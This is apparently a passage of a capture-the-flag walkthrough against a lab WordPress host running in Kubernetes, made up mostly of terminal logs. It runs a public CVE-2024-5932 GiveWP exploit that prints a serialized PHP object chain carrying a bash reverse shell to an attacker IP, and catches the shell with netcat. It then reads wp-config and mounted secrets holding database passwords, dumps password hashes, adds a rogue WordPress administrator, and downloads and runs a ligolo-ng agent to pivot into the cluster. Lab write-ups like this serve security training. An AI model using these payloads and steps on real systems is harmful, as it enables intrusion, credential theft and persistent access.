1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

# Nmap 7.95 scan initiated Sat Nov  1 13:06:47 2025 as: /usr/lib/nmap/nmap --privileged -p22,80,6443,10250,30686 -sV -sC -oN nmap_scan 10.10.11.94
Nmap scan report for 10.10.11.94
Host is up (0.067s latency).

PORT      STATE    SERVICE      VERSION
22/tcp    open     ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_  256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp    open     http         nginx 1.28.0
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
|_http-server-header: nginx/1.28.0
|_http-generator: WordPress 6.8.1
6443/tcp  filtered sun-sr-https
10250/tcp filtered unknown
30686/tcp open     http         Golang net/http server
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Sat, 01 Nov 2025 19:06:52 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|     "serviceProxyHealthy": true
|   GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Sat, 01 Nov 2025 19:06:36 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|_    "serviceProxyHealthy": true
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port30686-TCP:V=7.95%I=7%D=11/1%Time=69065A4F%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\
SF:x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-Bal
SF:ancing-Endpoint-Weight:\x201\r\nDate:\x20Sat,\x2001\x20Nov\x202025\x201
SF:9:06:36\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x20{\
SF:n\t\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-servic
SF:e\"\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x20t
SF:rue\n}")%r(HTTPOptions,132,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20
SF:application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Load-Balanc
SF:ing-Endpoint-Weight:\x201\r\nDate:\x20Sat,\x2001\x20Nov\x202025\x2019:0
SF:6:36\x20GMT\r\nContent-Length:\x20127\r\n\r\n{\n\t\"service\":\x20{\n\t
SF:\t\"namespace\":\x20\"default\",\n\t\t\"name\":\x20\"wp-nginx-service\"
SF:\n\t},\n\t\"localEndpoints\":\x201,\n\t\"serviceProxyHealthy\":\x20true
SF:\n}")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\
SF:n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnec
SF:tion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,132,"
SF:HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20application/json\r\nX-Conten
SF:t-Type-Options:\x20nosniff\r\nX-Load-Balancing-Endpoint-Weight:\x201\r\
SF:nDate:\x20Sat,\x2001\x20Nov\x202025\x2019:06:52\x20GMT\r\nContent-Lengt
SF:h:\x20127\r\n\r\n{\n\t\"service\":\x20{\n\t\t\"namespace\":\x20\"defaul
SF:t\",\n\t\t\"name\":\x20\"wp-nginx-service\"\n\t},\n\t\"localEndpoints\"
SF::\x201,\n\t\"serviceProxyHealthy\":\x20true\n}")%r(LPDString,67,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov  1 13:07:25 2025 -- 1 IP address (1 host up) scanned in 37.71 seconds

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

❯ wpscan --url http://10.10.11.94/ -e vp,vt,cb,dbe,u --no-banner
[+] URL: http://10.10.11.94/ [10.10.11.94]
[+] Started: Sat Nov  1 13:11:50 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: nginx/1.28.0
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://10.10.11.94/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://10.10.11.94/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 6.8.1 identified (Insecure, released on 2025-04-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.11.94/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.11.94/, Match: 'WordPress 6.8.1'

[+] WordPress theme in use: bizberg
 | Location: http://10.10.11.94/wp-content/themes/bizberg/
 | Latest Version: 4.2.9.79 (up to date)
 | Last Updated: 2024-06-09T00:00:00.000Z
 | Readme: http://10.10.11.94/wp-content/themes/bizberg/readme.txt
 | Style URL: http://10.10.11.94/wp-content/themes/bizberg/style.css?ver=6.8.1
 | Style Name: Bizberg
 | Style URI: https://bizbergthemes.com/downloads/bizberg-lite/
 | Description: Bizberg is a perfect theme for your business, corporate, restaurant, ingo, ngo, environment, nature,...
 | Author: Bizberg Themes
 | Author URI: https://bizbergthemes.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 4.2.9.79 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://10.10.11.94/wp-content/themes/bizberg/style.css?ver=6.8.1, Match: 'Version: 4.2.9.79'

[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] No plugins Found.

[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
 Checking Known Locations - Time: 00:02:38 <========================================================================================================> (652 / 652) 100.00% Time: 00:02:38
[+] Checking Theme Versions (via Passive and Aggressive Methods)

[i] No themes Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:33 <=========================================================================================================> (137 / 137) 100.00% Time: 00:00:33

[i] No Config Backups Found.

[+] Enumerating DB Exports (via Passive and Aggressive Methods)
 Checking DB Exports - Time: 00:00:17 <===============================================================================================================> (75 / 75) 100.00% Time: 00:00:17

[i] No DB Exports Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:03 <==========================================================================================================> (10 / 10) 100.00% Time: 00:00:03

[i] User(s) Identified:

[+] user
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://10.10.11.94/wp-json/wp/v2/users/?per_page=100&page=1
 |  Oembed API - Author URL (Aggressive Detection)
 |   - http://10.10.11.94/wp-json/oembed/1.0/embed?url=http://10.10.11.94/&format=json
 |  Author Sitemap (Aggressive Detection)
 |   - http://10.10.11.94/wp-sitemap-users-1.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Nov  1 13:15:31 2025
[+] Requests Done: 906
[+] Cached Requests: 31
[+] Data Sent: 234.88 KB
[+] Data Received: 606.596 KB
[+] Memory used: 282.289 MB
[+] Elapsed time: 00:03:40
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

[+] give
 | Location: http://giveback.htb/wp-content/plugins/give/
 | Last Updated: 2025-12-08T20:09:00.000Z
 | [!] The version is out of date, the latest version is 4.13.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By:
 |  Urls In 404 Page (Passive Detection)
 |  Meta Tag (Passive Detection)
 |  Javascript Var (Passive Detection)
 |
 | Version: 3.14.0 (100% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - http://giveback.htb/wp-content/plugins/give/assets/dist/css/give.css?ver=3.14.0
 | Confirmed By:
 |  Meta Tag (Passive Detection)
 |   - http://giveback.htb/, Match: 'Give v3.14.0'
 |  Javascript Var (Passive Detection)
 |   - http://giveback.htb/, Match: '"1","give_version":"3.14.0","magnific_options"'

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

❯ python3 CVE-2024-5932-rce.py --help
                                                                                        
 Usage: CVE-2024-5932-rce.py [OPTIONS]                                                  
                                                                                        
╭─ Options ────────────────────────────────────────────────────────────────────────────╮
│ *  --url   -u  TEXT  Specify a URL or domain for vulnerability detection             │
│                      (Donation-Form Page) [required]                                 │
│    --cmd   -c  TEXT  Specify the file to read from the server                        │
│    --help            Show this message and exit.                                     │
╰──────────────────────────────────────────────────────────────────────────────────────╯
❯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

❯ python3 CVE-2024-5932-rce.py --url http://giveback.htb/donations/the-things-we-need/ --cmd 'bash -c "bash -i >& /dev/tcp/10.10.14.10/1339 0>&1"'
                                                                                                                                                                                                                                                                                                            
             ..-+*******-                                                                                  
            .=#+-------=@.                        .:==:.                                                   
           .**-------=*+:                      .-=++.-+=:.                                                 
           +*-------=#=+++++++++=:..          -+:==**=+-+:.                                                
          .%----=+**+=-:::::::::-=+**+:.      ==:=*=-==+=..                                                
          :%--**+-::::::::::::::::::::+*=:     .::*=**=:.                                                  
   ..-++++*@#+-:::::::::::::::::::::::::-*+.    ..-+:.                                                     
 ..+*+---=#+::::::::::::::::::::::::::::::=*:..-==-.                                                       
 .-#=---**:::::::::::::::::::::::::=+++-:::-#:..            :=+++++++==.   ..-======-.     ..:---:..       
  ..=**#=::::::::::::::::::::::::::::::::::::%:.           *@@@@@@@@@@@@:.-#@@@@@@@@@%*:.-*%@@@@@@@%#=.    
   .=#%=::::::::::::::::::::::::::::::::-::::-#.           %@@@@@@@@@@@@+:%@@@@@@@@@@@%==%@@@@@@@@@@@%-    
  .*+*+:::::::::::-=-::::::::::::::::-*#*=::::#: ..*#*+:.  =++++***%@@@@+-@@@#====%@@@%==@@@#++++%@@@%-    
  .+#*-::::::::::+*-::::::::::::::::::+=::::::-#..#+=+*%-.  :=====+#@@@@-=@@@+.  .%@@@%=+@@@+.  .#@@@%-    
   .+*::::::::::::::::::::::::+*******=::::::--@.+@#+==#-. #@@@@@@@@@@@@.=@@@%*++*%@@@%=+@@@#====@@@@%-    
   .=+:::::::::::::=*+::::::-**=-----=#-::::::-@%+=+*%#:. .@@@@@@@@@@@%=.:%@@@@@@@@@@@#-=%@@@@@@@@@@@#-    
   .=*::::::::::::-+**=::::-#+--------+#:::-::#@%*==+*-   .@@@@#=----:.  .-+*#%%%%@@@@#-:+#%@@@@@@@@@#-    
   .-*::::::::::::::::::::=#=---------=#:::::-%+=*#%#-.   .@@@@%######*+.       .-%@@@#:  .....:+@@@@*:    
    :+=:::::::::::-:-::::-%=----------=#:::--%++++=**      %@@@@@@@@@@@@.        =%@@@#.        =@@@@*.    
    .-*-:::::::::::::::::**---------=+#=:::-#**#*+#*.      -#%@@@@@@@@@#.        -%@@%*.        =@@@@+.    
.::-==##**-:::-::::::::::%=-----=+***=::::=##+#=.::         ..::----:::.         .-=--.         .=+=-.     
%+==--:::=*::::::::::::-:+#**+=**=::::::-#%=:-%.                                                           
*+.......+*::::::::::::::::-****-:::::=*=:.++:*=                                                           
.%:..::::*@@*-::::::::::::::-+=:::-+#%-.   .#*#.                                                           
 ++:.....#--#%**=-:::::::::::-+**+=:@#....-+*=.                                                            
 :#:....:#-::%..-*%#++++++%@@@%*+-.#-=#+++-..                                                              
 .++....-#:::%.   .-*+-..*=.+@= .=+..-#                                                                    
 .:+++#@#-:-#= ...   .-++:-%@@=     .:#                                                                    
     :+++**##@#+=.      -%@@@%-   .-=*#.                                                                   
    .=+::+::-@:         #@@@@+. :+*=::=*-                                                                  
    .=+:-**+%%+=-:..    =*#*-..=*-:::::=*                                                                  
     :++---::--=*#+*+++++**+*+**-::::::+=                                                                  
      .+*=:::---+*:::::++++++*+=:::::-*=.                                                                  
       .:=**+====#*::::::=%:...-=++++=.      Author: EQST(Experts, Qualified Security Team)
           ..:----=**++++*+.                 Github: https://github.com/EQSTLab/CVE-2024-5932    

                                                                                                                                                                                                                                                                                                         
Analysis base : https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

=============================================================================================================    

CVE-2024-5932 : GiveWP unauthenticated PHP Object Injection
description: The GiveWP  Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.
Arbitrary File Deletion

============================================================================================================= 
    
[\] Exploit loading, please wait...
[+] Requested Data: 
{'give-form-id': '17', 'give-form-hash': '66e843c3e0', 'give-price-id': '0', 'give-amount': '$10.00', 'give_first': 'Sarah', 'give_last': 'Carroll', 'give_email': 'qcoleman@example.com', 'give_title': 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:51:"bash -c "bash -i >& /dev/tcp/10.10.14.10/1339 0>&1"";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}', 'give-gateway': 'offline', 'action': 'give_process_donation'}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
connect to [10.10.14.10] from giveback.htb [10.10.11.94] 39423
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
<s-95b8ccd68-pd296:/opt/bitnami/wordpress/wp-admin$ whoami;id;pwd
whoami: cannot find name for user ID 1001
uid=1001 gid=0(root) groups=0(root),1001
/opt/bitnami/wordpress/wp-admin
<s-95b8ccd68-pd296:/opt/bitnami/wordpress/wp-admin$ 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# export TERM=xterm
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/opt/bitnami/wordpress$ cat wp-config.php | grep -v "*"
<?php

define( 'DB_NAME', 'bitnami_wordpress' );

define( 'DB_USER', 'bn_wordpress' );

define( 'DB_PASSWORD', 'sW5sp4spa3u7RLyetrekE4oS' );

define( 'DB_HOST', 'beta-vino-wp-mariadb:3306' );

define( 'DB_CHARSET', 'utf8' );

define( 'DB_COLLATE', '' );

define( 'AUTH_KEY',         'G7T{pv:!LZWUfekgP{A8TGFoL0,dMEU,&2B)ALoZS[8lo8V~+UGj@kWW%n^.vZgx' );
define( 'LOGGED_IN_KEY',    'E5x5$T@Ggpti3+!/0G<>j<ylElF+}#Ny-7XZLw<#j[6|:oel9%OgxG|U}86./&&K' );
define( 'NONCE_KEY',        'jM^E^Bx{vf-Ca~2$eXbH%RzD?=VmxWP9Z}-}J1E@N]t`GOP`8;<F;lYmGz8sh7sG' );
define( 'AUTH_SALT',        '+L>`[0~bk-bRDX 5F?ER)PUnB_ ZWSId=J {5XV:trSTp0u!~6shvPS`VP{f(@_Q' );
define( 'LOGGED_IN_SALT',   'i?aJHLYu/rI%@MWZTw%Ch~%h|M/^Wum4$#4;qm(#zgQA+X3gKU?~B)@Mbgy %k}G' );

# [.. cut ...]

I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/opt/bitnami/wordpress$ 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/secrets$ ls -lah
total 4.0K
drwxrwsrwt 3 root 1001  140 Nov  1 18:56 .
drwxr-xr-x 1 root root 4.0K Nov  1 19:28 ..
drwxr-sr-x 2 root 1001  100 Nov  1 18:56 ..2025_11_01_18_56_41.2742971764
lrwxrwxrwx 1 root 1001   32 Nov  1 18:56 ..data -> ..2025_11_01_18_56_41.2742971764
lrwxrwxrwx 1 root 1001   23 Nov  1 18:56 mariadb-password -> ..data/mariadb-password
lrwxrwxrwx 1 root 1001   28 Nov  1 18:56 mariadb-root-password -> ..data/mariadb-root-password
lrwxrwxrwx 1 root 1001   25 Nov  1 18:56 wordpress-password -> ..data/wordpress-password
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/secrets$ cat mariadb-password;echo
sW5sp4spa3u7RLyetrekE4oS
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/secrets$ cat mariadb-root-password; echo
sW5sp4syetre32828383kE4oS
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/secrets$ cat wordpress-password; echo
O8F7KR5zGi
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/secrets$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$ mariadb -h beta-vino-wp-mariadb -P "3306" -u "bn_wordpress" -p"sW5sp4spa3u7RLyetrekE4oS" bitnami_wordpress -e "show databases;"
Database
bitnami_wordpress
information_schema
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$ mariadb -h beta-vino-wp-mariadb -P "3306" -u "bn_wordpress" -p"sW5sp4spa3u7RLyetrekE4oS" bitnami_wordpress -e "use bitnami_wordpress;show tables;"
Tables_in_bitnami_wordpress
wp_actionscheduler_actions
wp_actionscheduler_claims
wp_actionscheduler_groups
wp_actionscheduler_logs
wp_aioseo_cache
wp_commentmeta
wp_comments
# [... cut ..]
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_termmeta
wp_terms
wp_usermeta
wp_users
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$ mariadb -h beta-vino-wp-mariadb -P "3306" -u "bn_wordpress" -p"sW5sp4spa3u7RLyetrekE4oS" bitnami_wordpress -e "use bitnami_wordpress; select * from wp_users;"
ID	user_login	user_pass	user_nicename	user_email	user_url	user_registered	user_activation_key	user_status	display_name
1	user	$P$Bm1D6gJHKylnyyTeT0oYNGKpib//vP.	user	user@example.com	http://127.0.0.1	2024-09-21 22:18:28		0	babywyrm
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/opt/bitnami$ ls -lah
total 44K
drwxr-xr-x 10 root root 4.0K Jun 20 08:14 .
drwxr-xr-x  3 root root 4.0K Jun 20 08:14 ..
-rw-r--r--  1 root root  814 Jun 20 08:14 .bitnami_components.json
drwxrwxr-x 17 root root 4.0K Jun 20 08:14 apache
lrwxrwxrwx  1 root root    6 Jun 20 08:14 apache2 -> apache
drwxr-xr-x  6 root root 4.0K Jun  2 16:24 common
drwxr-xr-x  2 root root 4.0K Jun 20 08:14 licenses
drwxr-xr-x  6 root root 4.0K Jun 20 08:14 mysql
drwxr-xr-x 13 root root 4.0K Jun 20 08:14 php
drwxr-xr-x  7 root root 4.0K Jun 20 08:14 scripts
drwxrwsr-x  6 1001 1001 4.0K Nov  1 19:28 wordpress
drwxr-xr-x  7 root root 4.0K Jun 20 08:14 wp-cli
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/opt/bitnami$ 
WP-CLI 2.12.0
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/opt/bitnami$

1
2
3

I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/opt/bitnami$ wp user create sckull sckull@giveback.htb --role=administrator --user_pass=5upp3rP455
Success: Created user 2.
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/opt/bitnami$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$ env
# [...]
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
LEGACY_INTRANET_SERVICE_SERVICE_PORT=5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO=tcp
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
# [...]
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$ php -r 'file_put_contents("file", file_get_contents("http://10.43.2.241:5000"));'
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$ cat file
<!DOCTYPE html>
<html>
<head>
  <title>GiveBack LLC Internal CMS</title>
  <!-- Developer note: phpinfo accessible via debug mode during migration window -->
  <style>
    body { font-family: Arial, sans-serif; margin: 40px; background: #f9f9f9; }
    .header { color: #333; border-bottom: 1px solid #ccc; padding-bottom: 10px; }
    .info { background: #eef; padding: 15px; margin: 20px 0; border-radius: 5px; }
    .warning { background: #fff3cd; border: 1px solid #ffeeba; padding: 10px; margin: 10px 0; }
    .resources { margin: 20px 0; }
    .resources li { margin: 5px 0; }
    a { color: #007bff; text-decoration: none; }
    a:hover { text-decoration: underline; }
  </style>
</head>
<body>
  <div class="header">
    <h1>🏢 GiveBack LLC Internal CMS System</h1>
    <p><em>Development Environment – Internal Use Only</em></p>
  </div>

  <div class="warning">
    <h4>⚠️ Legacy Notice</h4>
    <p>**SRE** - This system still includes legacy CGI support. Cluster misconfiguration may likely expose internal scripts.</p>
  </div>

  <div class="resources">
    <h3>Internal Resources</h3>
    <ul>
      <li><a href="/admin/">/admin/</a> — VPN Required</li>
      <li><a href="/backups/">/backups/</a> — VPN Required</li>
      <li><a href="/runbooks/">/runbooks/</a> — VPN Required</li>
      <li><a href="/legacy-docs/">/legacy-docs/</a> — VPN Required</li>
      <li><a href="/debug/">/debug/</a> — Disabled</li>
      <li><a href="/cgi-bin/info">/cgi-bin/info</a> — CGI Diagnostics</li>
      <li><a href="/cgi-bin/php-cgi">/cgi-bin/php-cgi</a> — PHP-CGI Handler</li>
      <li><a href="/phpinfo.php">/phpinfo.php</a></li>
      <li><a href="/robots.txt">/robots.txt</a> — Crawlers: Disallowed</li>
    </ul>
  </div>

  <div class="info">
    <h3>Developer Note</h3>
    <p>This CMS was originally deployed on Windows IIS using <code>php-cgi.exe</code>.
    During migration to Linux, the Windows-style CGI handling was retained to ensure
    legacy scripts continued to function without modification.</p>
  </div>
</body>
</html>
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/dev/shm$

1
2
3
4
5

I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/tmp$ php -r 'file_put_contents("ag", file_get_contents("http://10.10.14.10/agent_linux"));'
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/tmp$ chmod +x ag
I have no name!@beta-vino-wp-wordpress-95b8ccd68-pd296:/tmp$ ./ag -connect 10.10.14.10:443 -ignore-cert
time="2025-11-01T20:47:54Z" level=warning msg="warning, certificate validation disabled"
time="2025-11-01T20:47:54Z" level=info msg="Connection established" addr="10.10.14.10:443"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

❯ sudo ./proxy -selfcert -laddr 0.0.0.0:443
INFO[0000] Loading configuration file ligolo-ng.yaml    
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
INFO[0000] Listening on 0.0.0.0:443                     
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   

  Made in France ♥            by @Nicocha30!
  Version: 0.8.2

ligolo-ng »
INFO[0032] Agent joined.                                 id=9ad95f206c38 name=Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296 remote="10.10.11.94:51086"
ligolo-ng » 
ligolo-ng » session
? Specify a session : 1 - Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296 - 10.10.11.94:51086 - 9ad95f206c38
[Agent : Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296] » ifconfig
┌────────────────────────────────────┐
│ Interface 0                        │
├──────────────┬─────────────────────┤
│ Name         │ lo                  │
│ Hardware MAC │                     │
│ MTU          │ 65536               │
│ Flags        │ up|loopback|running │
│ IPv4 Address │ 127.0.0.1/8         │
│ IPv6 Address │ ::1/128             │
└──────────────┴─────────────────────┘
┌───────────────────────────────────────────────┐
│ Interface 1                                   │
├──────────────┬────────────────────────────────┤
│ Name         │ eth0                           │
│ Hardware MAC │ 9a:d9:5f:20:6c:38              │
│ MTU          │ 1450                           │
│ Flags        │ up|broadcast|multicast|running │
│ IPv4 Address │ 10.42.1.181/24                 │
│ IPv6 Address │ fe80::98d9:5fff:fe20:6c38/64   │
└──────────────┴────────────────────────────────┘
[Agent : Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296] » interface_create --name giveback
INFO[0093] Creating a new giveback interface...         
INFO[0093] Interface created!                           
[Agent : Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296] » tunnel_start --tun giveback
INFO[0097] Starting tunnel to Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296 (9ad95f206c38) 
[Agent : Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296] » interface_add_route --name giveback --route 10.42.1.181/24
INFO[0103] Route created.                               
[Agent : Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296] » interface_add_route --name giveback --route 10.43.2.241/24
INFO[0230] Route created.                               
[Agent : Unknown@beta-vino-wp-wordpress-95b8ccd68-pd296] »

1
2
3
4
5
6

# Commands
session # select giveback session
interface_create --name giveback
tunnel_start --tun giveback
interface_add_route --name giveback --route 10.42.1.181/24
interface_add_route --name giveback --route 10.43.2.241/24

1
2
3

❯ curl http://10.43.2.241:5000/phpinfo.php;echo
Access restricted
❯

1
2
3

